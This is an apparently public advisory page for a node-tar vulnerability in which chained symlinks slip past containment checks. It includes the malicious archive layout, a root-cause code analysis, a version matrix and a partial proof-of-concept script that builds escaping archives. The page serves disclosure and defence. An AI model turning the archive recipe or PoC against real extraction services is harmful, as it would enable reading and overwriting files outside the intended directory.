high

CVE-2026-140250

npm · tar

Summary

node-tar: Symlink containment bypass via chained symlinks lets tar.x() create links that resolve outside the extraction directory (regression since 7.5.5)

Severity
high
EPSS
0.9% (p62)
CWE
CWE-22, CWE-59
Also known as
GHSA-3wwj-8j6r-q339
Published
2026-12-02
Updated
2026-12-02

Advisory details

Summary

With default options, tar.x() in tar@7.5.22 (and every release since 7.5.5) extracts a symbolic link that resolves outside the extraction directory when the link target passes through another symlink from the same archive and then uses .. — for example sub/up -> .. followed by esc -> sub/up/... Both symlink-target checks collapse .. lexically before considering symlinks, so the intermediate symlink is never seen, while the kernel resolves it before applying ... With enough nesting the extracted link resolves to /.

This breaks the README guarantee that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder", and gives any application that later reads or writes extracted paths file read/write outside the extraction root (the same impact model as GHSA-9ppj-qmqm-q256). It is a regression of the containment added for GHSA-8qq5-rm4j-mr97 (7.5.3–7.5.4 reject the chain; 7.5.5–7.5.22 accept it), and it also bypasses the [SYMLINK] check added for GHSA-83g3-92jg-28cx. A self-contained PoC, measured version matrix, and a remote-read deployment example are below.

Details

Malicious archive

Three entries, no file contents needed:

sub/        Directory
sub/up      SymbolicLink -> ..          lexical: "sub/.."    = "."    (inside)
esc         SymbolicLink -> sub/up/..   lexical: "sub/up/.." = "sub"  (inside)

On disk, the kernel resolves esc as sub/up → <cwd>, then .. → parent of <cwd>.

Root cause 1 — lexical escape check in [STRIPABSOLUTEPATH]

src/unpack.ts:284-291 at v7.5.22 (dist/commonjs/unpack.js:278-281):

// Resolve linkpath relative to the entry's directory.
// `path.posix` is safe to use because we're operating on
// tar paths, not a filesystem.
const entryDir = path.posix.dirname(entry.path)
const resolved = path.posix.normalize(
  path.posix.join(entryDir, parts.join('/')),
)
// If the resolved path escapes (starts with ..), reject it
if (resolved.startsWith('../') || resolved === '..') {

For esc, sub/up/.. normalizes to sub, so it passes. The comment's assumption ("tar paths, not a filesystem") does not hold once an earlier entry of the same archive has created sub/up as a real symlink on disk. This relaxation was introduced in 7.5.5 by e9a1ddb ("fix: do not prevent valid linkpaths within archive", PR #450). 7.5.3 and 7.5.4 rejected any .. in a linkpath and are not affected.

Root cause 2 — the symlink-component check also runs after normalization in [SYMLINK]

src/unpack.ts:640-650 (dist/commonjs/unpack.js:551):

[SYMLINK](entry: ReadEntry, done: () => void) {
  const parts = normalizeWindowsPath(
    path.relative(
      this.cwd,
      path.resolve(
        path.dirname(String(entry.absolute)),
        String(entry.linkpath),
      ),
    ),
  ).split('/')
  this[ENSURE_NO_SYMLINK](

path.resolve collapses sub/up/.. to sub, so [ENSURE_NO_SYMLINK] (src/unpack.ts:679-696) only lstats sub (a real directory) and never sees the symlink sub/up. This check was added by d18e4e1 ("do not write linkpaths through symlinks"), the fix for GHSA-83g3-92jg-28cx, and the same normalization bypasses it. Separately, [ENSURE_NO_SYMLINK] treats a missing component as safe (if (er) return done()), so even a walk over the raw components would depend on entry order.

Reaching any ancestor, up to /

With N nested directories:

d0/ … d0/…/dN-1/                Directory entries
d0/…/dN-1/up -> ../…/..         (N times "..")   lexical: "."   (inside)
root -> d0/…/dN-1/up/../…/..    (N times "..")   lexical: "."   (inside)

root resolves N levels above <cwd>, which is / once N is at least the depth of <cwd>. The PoC uses N = 12.

What node-tar still blocks

Writing a file entry or creating a hardlink through the escaping link from inside the same archive is rejected (TAR_SYMLINK_ERROR: Cannot extract through symbolic link). The impact appears when the application accesses paths under the extraction directory afterwards — the same model as GHSA-9ppj-qmqm-q256 ("Writing through the extracted symlink overwrites the outside file").

Affected versions (measured)

The PoC below was run against each version, installed with --ignore-scripts:

Version Control esc -> ../ Chain esc -> sub/up/.. Result
6.2.1, 7.0.0, 7.4.3, 7.5.2 created escapes Pre-GHSA-8qq5: no symlink-target containment (already public, not part of this report)
7.5.3, 7.5.4 rejected rejected (linkpath contains '..') Not affected
7.5.5, 7.5.6, 7.5.7, 7.5.8, 7.5.10, 7.5.11, 7.5.21, 7.5.22 rejected escapes Affected

Relation to published advisories

Advisory Relation
GHSA-8qq5-rm4j-mr97 (≤ 7.5.2) Introduced symlink-target containment. This report is a regression of it from 7.5.5.
GHSA-83g3-92jg-28cx (≤ 7.5.7) Used the same chain shape (a/b/escape -> c/up/../..) to route a hardlink. Hardlinks through the chain are now blocked, but the escaping symlink itself is still created, and the [SYMLINK] check added by that fix is bypassed.
GHSA-9ppj-qmqm-q256 (≤ 7.5.10) Same impact (an extracted symlink resolving outside cwd, then a later write through it) via a different mechanism (drive-relative C:..).
GHSA-qffp-2rhf-9h96, GHSA-34x7-hfp2-rc4v Hardlink-only escapes through other mechanisms. Unrelated to this path.

Proof of concept

Environment used

Files

Save both files below in an empty directory.

repro.cjs — builds the archives with tar's own Header class. No other dependencies. Everything is written under ./work. It prints JSON and exits with code 1 when vulnerable.

// node-tar chained-symlink containment bypass — self-contained reproduction.
// Usage: npm install tar@7.5.22 && node repro.cjs
// Everything is created under ./work (deleted and recreated per case); nothing outside it is written.
// Exit code: 1 if any extracted link resolves outside the extraction dir (VULNERABLE), 0 otherwise.
'use strict'
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const WORK = path.resolve(__dirname, 'work')
const OUT = path.join(WORK, 'uploads', 'job-1', 'out')   // extraction dir, 3 levels below WORK
const OUTSIDE_CONFIG = path.join(WORK, 'uploads', 'job-1', 'config.json')   // parent of OUT
const OUTSIDE_SECRET = path.join(WORK, 'uploads', 'job-0-secret.txt')      // sibling job

function makeTar(file, entries) {
  const blocks = entries.map(e => {
    const b = Buffer.alloc(512)
    new Header({ mode: e.type === 'Directory' ? 0o755 : 0o644, mtime: new Date(0), ...e }).encode(b, 0)
    return b
  })
  fs.writeFileSync(file, Buffer.concat([...blocks, Buffer.alloc(1024)]))
}

function reset() {
  fs.rmSync(WORK, { recursive: true, force: true })
  fs.mkdirSync(OUT, { recursive: true })
  fs.writeFileSync(OUTSIDE_SECRET, 'OTHER-JOB-SECRET\n')
  fs.writeFileSync(OUTSIDE_CONFIG, '{"admin":false}\n')
}

function extract(name, entries) {
  reset()
  const file = path.join(WORK, name)
  makeTar(file, entries)
  const warnings = []
  x({ file, cwd: OUT, sync: true, onwarn: (code, msg) => warnings.push(`${code}: ${msg}`) })
  return warnings
}

// Kernel view of a link. Node's JS fs.realpathSync normalizes ".." lexically and would hide the escape.
function inspect(link) {
  let linkpath = null, realpath = null
  try { linkpath = fs.readlinkSync(link) } catch (e

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.